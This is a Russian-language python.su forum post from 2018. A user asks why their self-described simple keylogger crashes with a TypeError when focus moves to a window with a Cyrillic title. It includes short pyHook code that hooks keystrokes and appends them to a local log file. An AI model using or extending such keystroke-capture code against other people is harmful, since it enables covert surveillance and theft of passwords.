Форум сайта python.su
Написал что-то на подобие простого кейлоггера, но столкнулся с проблемой: Программа вылетает как только перехожу в другое окно, в названии или пути которого есть кириллица
С ошибкой
TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’
Код программы
def OnKeyboardEvent(event): data = str(event.Key) f = open('Logfile.txt', 'a') f.write(data) f.close()
hook = pyHook.HookManager() hook.KeyDown = OnKeyboardEvent hook.HookKeyboard() pythoncom.PumpMessages()
Отредактировано bar2104 (Май 12, 2018 15:09:56)
Офлайн